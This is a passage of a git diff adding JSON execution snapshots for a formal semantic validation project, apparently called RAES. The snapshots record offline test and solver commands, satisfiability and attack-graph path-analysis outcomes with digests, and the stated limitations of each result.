"implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1361-execution-v55", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1361-execution-v55", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "6cae755852f1f7826ba30f49a74efcc91ea32dc8", + "source_state": { + "base_revision": "6cae755852f1f7826ba30f49a74efcc91ea32dc8", + "checkout_state": "modified", + "implementation_digest": "5aae891d544955fec78e2fc552abc57eb909d4e83dd88aa07cc09f5adc2898bd", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v56.json b/docs/research/formal-semantic-validation/execution-snapshot-v56.json new file mode 100644 index 000000000..25f1d7021 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v56.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1361-execution-v55", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v55.json", + "release_revision": "56.0.0", + "release_sha256": "f2c00cb3370c67927617c98bb5e2a750b2a8eb9faeab2cf6b93cf1fabd1ca675" + }, + "captured_at": "2026-09-27T19:01:34.868462+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1365-execution-v56", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "No governed 